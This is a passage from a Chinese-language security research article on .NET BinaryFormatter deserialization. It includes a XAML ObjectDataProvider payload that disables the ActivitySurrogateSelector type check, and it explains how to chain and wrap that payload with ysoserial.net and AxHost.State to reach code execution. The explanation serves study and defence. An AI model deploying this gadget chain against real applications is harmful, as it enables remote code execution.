        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
    <ObjectDataProvider x:Key=""set"" ObjectInstance=""{StaticResource field}"" MethodName=""SetValue"">
        <ObjectDataProvider.MethodParameters>
            <s:Object/>
            <s:Boolean>true</s:Boolean>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
    <ObjectDataProvider x:Key=""setMethod"" ObjectInstance=""{x:Static c:ConfigurationManager.AppSettings}"" MethodName =""Set"">
        <ObjectDataProvider.MethodParameters>
            <s:String>microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck</s:String>
            <s:String>true</s:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>"

我們使用TextFormattingRunProperties 封裝上述Xaml Payload 后,就生成了一個新的payload。該Payload 可以使用BinaryFormatter 進行反序列化,作用就是將 AppSettings.DisableActivitySurrogateSelectorTypeCheck 標志設置為True。這樣的話,對于類似BinaryFormatter 反序列化漏洞的地方,我們就可以先用一個payload 關閉類型檢查,再用ActivitySurrogateSelector 的payload 實現代碼執行了。

但是,如果你用ysoserial.net 的 ActivitySurrogateDisableTypeCheck 部件生成payload,你還是會遇到前面說的報錯的問題。如果因為這個報錯導致你無法繼續下去怎么辦?還記得我們在《ActivitySurrogateSelectorGenerator 工具鏈》中提到過的AxHost.State 嗎,其作用就是將BinaryFormatter 格式的payload 封裝一下,用于遮掩原來payload 在反序列化時的異常。所以你可以用AxHost.State 把生成的 ActivitySurrogateDisableTypeCheck payload 再封裝一次,這樣在關閉類型檢查的時候就不會報錯了。

五.附錄:

[1] 工具鏈原作者 James Forshaw 文章:

https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html

[2] 微軟官方文檔 標準查詢運算符概述

https://docs.microsoft.com/zh-cn/dotnet/csharp/programming-guide/concepts/linq/standard-query-operators-overview

[3] 《Re-Animating ActivitySurrogateSelector》

https://silentbreaksecurity.com/re-animating-activitysurrogateselector/

[4] 使用XmlInclude或SoapInclude屬性來指定靜態未知的類型

https://www.ozkary.com/2012/11/the-type-was-not-expected-use.html

[5] WPF之Binding深入探討

https://blog.csdn.net/fwj380891124/article/details/8107646


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1418/